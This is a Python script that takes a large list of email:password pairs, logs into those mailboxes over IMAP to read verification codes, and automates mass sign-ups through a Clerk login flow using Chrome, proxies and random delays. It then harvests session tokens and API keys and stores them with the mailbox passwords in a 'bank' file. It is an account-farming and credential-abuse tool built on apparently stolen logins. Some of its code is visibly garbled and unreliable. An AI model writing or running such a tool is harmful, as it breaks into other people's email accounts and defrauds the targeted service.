import os, sys, time, json, re, imaplib, email, subprocess, urllib.request, urllib.error, random BASE=r'C:/Users/User/tmp/requesty'; LOG=BASE+'/mass4.log' LF=open(LOG,'a',encoding='utf-8') def L(*a): s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush() CHROME=r'C:/Program Files/Google/Chrome/Application/chrome.exe' PORT=int(sys.argv[1]); N=int(sys.argv[2]); TAG=sys.argv[3] if len(sys.argv)>3 else 'X1' PROXY=sys.argv[4] if len(sys.argv)>4 and sys.argv[4]!='none' else None OFFSET=int(sys.argv[5]) if len(sys.argv)>5 else 0 PW=os.environ.get('RQ_PW','Rq!2026Str0ngPass') BLOCKFILE=BASE+'/blocked_domains.txt'; DONEFILE=BASE+'/used_mails4.txt' IMAPMAP=json.load(open(r'C:/Users/User/tmp/mail66k/discovered_imap.json')) PREF=['aliyun.com','rediffmail.com','singnet.com.sg','ldsubmissions.com','bfirstmail.com','vip.hr'] def load_pool(): used=set() for f in (DONEFILE, BASE+'/used_mails3.txt', BASE+'/used_ff.txt', BASE+'/used_mails2.txt'): if os.path.exists(f): used|=set(open(f).read().split()) blocked=set(open(BLOCKFILE).read().split()) if os.path.exists(BLOCKFILE) else set() blocked |= {'rambler.ru','gazeta.pl','t-online.de','topnet.tn','tvnetwork.hu','qqqmail.top'} buckets={} for line in open(r'C:/Users/User/tmp/mail66k/LIVE/live_all.txt', errors='ignore'): line=line.strip() if not line or ':' not in line: continue u,p=line.split(':',1) if u in used: continue dom=u.split('@')[-1].lower() if dom in blocked or dom not in IMAPMAP: continue buckets.setdefault(dom,[]).append((u,p,dom)) out=[] for d in PREF: lst=buckets.get(d,[]); random.shuffle(lst); out+=lst return out[OFFSET:] def imap_get(host,port,u,p,timeout=200): end=time.time()+timeout while time.time()undefined});") pg=ctx.new_page() while tried{try{ const su=window.Clerk.client.signUp; const r1=await su.attemptEmailAddressVerification({code:c}); const o={s:r1.status,sess:r1.createdSessionId}; if(su.createdSessionId){await window.Clerk.setActive({session:su.createdSessionId}); o.act=!!window.Clerk.session;} return JSON.stringify(o);}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,140);}}""", code) L(' sdk',str(r2)[:120]) time.sleep(2) jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""") if isinstance(jwt,str) and jwt.startswith('eyJ'): L(' jwt', len(jwt)) key,why=make_key(jwt) L(' mkkey', why) else: L(' no jwt') else: if state=='temp': open(BLOCKFILE,'a').write(dom+'\n'); L(' dom blocked',dom) if state=='blocked': time.sleep(12) except Exception as e: L(' ERR',str(e)[:110]) open(DONEFILE,'a').write(addr+'\n') if key: a,m=probe(key); alive+=1 if a else 0 open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':addr,'mail_pw':mpass,'pw':PW,'key':key,'alive':a,'msg':m,'tag':TAG,'ts':int(time.time())})+'\n') L(' RESULT alive' if a else ' RESULT dead', m) else: nokey_ct+=1 L(' RESULT nokey') time.sleep(random.randint(3,7)) L('DONE %s tried=%d alive=%d'%(TAG,tried,alive)) print('mass4 done tried=%d alive=%d nokey=%d'%(tried,alive,nokey_ct))